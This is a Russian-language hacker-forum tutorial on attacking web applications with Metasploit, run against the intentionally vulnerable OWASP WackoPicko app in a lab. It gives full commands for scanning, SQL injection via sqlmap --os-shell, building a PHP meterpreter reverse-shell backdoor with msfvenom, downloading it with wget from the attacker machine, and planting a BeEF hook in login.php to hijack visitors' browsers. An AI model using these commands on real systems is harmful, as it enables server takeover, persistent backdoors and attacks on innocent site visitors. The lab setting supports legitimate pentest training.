Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker **** ***** ***** **** ***** ****

Hacker-Forum!®

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Hacker-Forum!® » Полезная информация✍ » Взлом сайтов с помощью Metasploit


Взлом сайтов с помощью Metasploit

Сообщений 1 страница 2 из 2

1

Взлом сайтов с помощью Metasploit

21.01.2014

Обычно пентестер или хакер используют Metasploit для эксплуатации уязвимостей  целевого сервера или для создания полезной нагрузки, чтобы загрузить бэкдор на взломанный сервер. Но Metastploit стал эффективнее с появлением плагинов и модулей, и теперь он может сделать значительно больше. А именно, он может быть использован для пентеста веб-приложений.

В этой статье я хочу показать вам, как использовать Metasploit для сканирования веб-приложений, получения информации о них и оценки уязвимостей.

Сценарий

Сейчас мы постараемся атаковать клиента, который использует уязвимый сервер. В качестве уязвимого сервера используется одно из веб-приложений OWASP Broken Web Application WackoPicko. Проект OWASP Broken Web Application представляет собой сборку уязвимых Web-приложений, предназначенных для обучения навыкам пентеста.

1. Машина атакующего - Backtrack 5 R3 192.168.1.137
2. Цель - веб-приложение WackoPicko 192.168.1.138

Этапы сканирования

Первым делом, когда Вы хотите взломать сервер, Вы должны получить как можно больше информации о цели. Поэтому первое, что Вы должны сделать, это просканировать сервер.

Metasploit имеет модуль "db_nmap", который используется для запуска Nmap (самый известный инструмент сканирования). Когда он получает результаты с Nmap, он заносит их в базу данных, специально для этого созданную. Следуйте этим инструкциям:

1. Откройте консоль Metasploit

root@bt:/ msfconsole

2. В консоли Metasploit введите команду db_nmap с IP-адресом целевой машины.

msf> db_nmap


msf > db_nmap 192.168.77.138

3. Вы можете проверить результаты сканирования командой "hosts".

msf > hosts -h

msf> hosts

4. Вы можете использовать команду «services» для получения деталей служб. Она имеет для отображения столбцы "создано, информация, имя, порт, протокол, состояние, обновлено".

msf > services -h

msf > services

msf> services -c port,name,state

Результат сверху показывает, какие веб-службы запущены на целевом сервере. Metasploit также имеет модуль для сканирования веб-сайта.

1. Возьмите модуль auxiliary/scanner/http/crawler.

msf> use auxiliary/scanner/http/crawler


2. Указываем цель параметром RHOST

msf auxiliary(crawler) > set RHOST 192.168.77.138

В этой статье мы фокусируемся на веб-приложении WackoPicko и зададим ему URI

msf auxiliary(crawler) > set URI /WackoPicko/

3. Начинаем сканирование веб-сайта

msf auxiliary(crawler) > run

На этом этапе Вы можете получить информацию о сервере и веб-приложении. На следующем этапе мы будем использовать эту информацию для атаки.

Этап эксплойта

На этом этапе мы попробуем атаку с модулем сканирования уязвимостей Metasploit и попытаемся использовать его с другим инструментом атаки.

Плагин WMAP

"WMAP является универсальным фреймворком сканирования веб-приложений для Metasploit 3. Его архитектура проста и ее простота - то, что делает его мощным. WMAP содержит другой подход по сравнению с остальными open source альтернативами и коммерческими сканерами, поскольку WMAP не сборка какого-либо браузера или паук для сбора и обработки данных".
Мы будем использовать этот модуль для сканирования уязвимостей веб-сайта.

1. Загрузка WMAP модулей

msf auxiliary(crawler) > load wmap

2. На предыдущем этапе мы уже сканировали веб-приложение и храним всю информацию в базе данных. WMAP плагин может прочитать ее, чтобы узнать структуру веб-приложения. И вы можете отобразить детали веб-приложения командой wmap_sites.

msf auxiliary(crawler) > wmap_sites

msf auxiliary(crawler) > wmap_sites -l

3. Если вы хотите увидеть структуру веб-приложения, вы можете использовать команду wmap_sites.

wmap_sites -s [target_id]

msf auxiliary(crawler) > wmap_sites -s 0

4. Теперь мы готовы к сканированию, поэтому мы будем определять цель веб-приложения командой wmap_targets.

msf auxiliary(crawler) > wmap_targets

msf auxiliary(crawler) > wmap_targets -t

5. Запускаем автоматический поиск уязвимостей командой wmap_run.

msf auxiliary(crawler) > wmap_run

msf auxiliary(crawler) > wmap_run -e

6. После окончания сканирования, Вы можете проверить результат командой wmap_vulns .

msf auxiliary(crawler)> wmap_vulns -l

Из результата мы узнаем некоторые уязвимости этого веб-приложения, такие как "уязвимый файл или каталог", "каталог администратора", "каталог резервных копий", "страница с уязвимостью SQL Injection" и т. д. Теперь вы можете попробовать атаковать исходя из этих результатов.

SQL-инъекция с помощью Metasploit

Если Вы хотите проверить, подвержен ли какой-либо параметр SQL-инъекции или нет, то Вы можете попробовать проверить его с помощью Metasploit. Для этого мы будем использовать модуль auxiliary/scanner/http/blind_sql_query.

1. После сканирования плагином WMAP, мы знаем, что страница http://192.168.77.138/WackoPicko/users/login.php имеет уязвимость SQL Injection и она имеет 2 параметра: username, password. Сейчас мы попытаемся проверить параметр username с помощью модуля auxiliary/scanner/http/blind_sql_query.

msf > use auxiliary/scanner/http/blind_sql_query
msf auxiliary(blind_sql_query) > show options

2. Указываем данные целевой страницы.

msf auxiliary(blind_sql_query) > set DATA username=hacker&password=password&submit=login
msf auxiliary(blind_sql_query) > set METHOD POST
msf auxiliary(blind_sql_query) > set PATH /WackoPicko/users/login.php
msf auxiliary(blind_sql_query) > set RHOSTS 192.168.77.138

3. Запускаем тестирование.

msf auxiliary(blind_sql_query) > run

Результат: параметр "username" имеет уязвимость SQL Injection. Вы можете проверить другую технику SQL инъекций [Error Based Technique] с помощью модуля auxiliary/scanner/http/error_sql_injection.

Теперь мы знаем параметр "username" страницы users/login.php, имеющий уязвимость, и мы используем эту уязвимость для завладения веб-сайтом с помощью sqlmap. SQLMap - известный инструмент для SQL-инъекций, прекрасно работающий с Metasploit.

1. Мы будем использовать 3 опции sqlmap для этой атаки.

    -u URL     url цели
    -data=DATA Строка данных, отправляемая через POST-запрос
    -random-agent Использование случайно выбранных HTTP User-Agent заголовков
    -os-shell Вызов интерактивной оболочки операционной системы

2.    Теперь запустим sqlmap с деталями, которые у нас имеются. После этой команды, если пользователь, использующий данное приложение (веб-сайт), имеет достаточно привилегий, мы сможем получить шелл. (ниже - вывод из процесса SQLMap для загрузки шелла.)

    root@bt:/pentest/database/sqlmap# ./sqlmap.py -u
    "http://192.168.77.138/WackoPicko/users/login.php" --data
    "username=hacker&password=password&submit=login" --os-shell

При появлении:
'http://192.168.77.138:80/WackoPicko/users/home.php'. Do you want to follow?
Выбираем:
[Y/n] Y

Сейчас мы находимся в целевой машине и создадим бэкдор для легкого бэкконнекта и легкой компрометации этой машины.

3. Мы создадим бэкдор с помощью Metasploit (команда msfvenom).

root@bt:~# msfvenom
no options
Usage: /opt/metasploit/msf3/msfvenom [options] <var=val>

Опции:

root@bt:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.77.137
LPORT=443 -f raw > /var/www/bd.php
root@bt:~# mv /var/www/bd.php /var/www/bd.jpg

4. В оболочке целевой машины скачайте бэкдор и измените его имя на bd.php.

os-shell> wget http://192.168.77.137/bd.jpg

5. Создайте обработчик для ожидания обратного соединения из bd.php.

root@bt:~# msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp
LHOST=192.168.77.137 LPORT=443 E

6. Запустим бэкдор в веб-браузере. А теперь мы получили Meterpreter в нашей Metasploit консоли

Сейчас мы завладели компьютером и можем делать все, что хотим с помощью Metasploit. В дальнейшем мы будем использовать BeEF для компрометации жертв, которые посетят веб-сайт на этой машине.

Metasploit с BeEF плагином

И последним в этой статье мы будем использовать Metasploit с BeEF (Browser Exploit Framework).

1. Запускаем службу beef
root@bt:/pentest/web/beef# ./beef -x -v

2. Переходим к директории плагинов Metasploit и загружаем BeEF из “https://github.com/xntrik/beefmetasploitplugin.git”

$ cd /pentest/exploits/framework/msf3
$ git clone https://github.com/xntrik/beefmetasploitplugin.git

3. Перемещаем файл beef.rb в msf/plugins и lib/beef в msf/lib
$root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/lib/beef lib/
$root@bt:/pentest/exploits/framework/msf3# mv beefmetasploitplugin/plugins/beef.rb plugins/

4. Устанавливаем hpricot,json gem
$ root@bt:/pentest/exploits/framework/msf3# gem install hpricot json

5. В Metasploit консоли загружаем BeEF плагин.
msf> load beef

6. Подключаемся к BeEF
msf> beef_connect
msf > beef_connect http://127.0.0.1:3000 beef beef

7. На этом шаге мы хотим запустить скрипт BeEF на любом клиенте, который посетит страницу входа. Возвращаемся к шеллу Meterpreter, который мы получили на последнем этапе атаки sqlmap. Скачиваем страницу login.php. Добавляем скрипт в файл и загружаем его на хост-машину.

meterpreter > download login.php .

root@bt:~# echo "[путь к скрипту через теги <script>]" >> login.php

meterpreter > upload login.php

Теперь при посещении жертвой страницы авторизации запустится скрипт BeEF.

8. Перейдем к веб-интерфейсу управления BeEF (http://127.0.0.1:3000/ui/panel), войдя с именем “beef” и паролем “beef”.

9. Если кто-нибудь посетит страницу login.php, то будет атакован BeEF и в левой панели отобразится список жертв.

Для просмотра подробностей о жертве кликните по списку и они появятся в правой панели.

Также мы можем проверить список жертв из консоли Metasploit командой beef_online.

msf > beef online

Если Вы хотите проверить подробности о жертве в консоли Metasploit, используйте команду beef_target.

msf > beef_target

msf > beef_target -i 0

10. Сейчас можно запустить BeEF с командой beef_target

msf > beef_target -c 0 47

После запуска команды beef_target в BeEF консоли, BeEF может использовать команду "Человек-в-браузере" для жертвы.

Заключение

Теперь вы знаете, что Metasploit можно использовать для пентеста веб-сайтов, хотя и ограниченно. Им нельзя проверить веб-приложения на все типы уязвимостей, но он расширяем за счет других инструментов. Например, проверить сайт на наличие XSS (Cross-Site Scripting) можно, используя связку Metasploit + BeEF. Metasploit он не может проверить наличие уязвимости Remote File Inclusion, но он может создать бэкдор для этого. В будущем, возможно, Metasploit сможет тестировать их все. Если вы хотите научиться атаковать компьютеры, Metasploit будет отличным выбором для изучения всех векторов атак на компьютер.

2


Вы здесь » Hacker-Forum!® » Полезная информация✍ » Взлом сайтов с помощью Metasploit


Рейтинг форумов | Создать форум бесплатно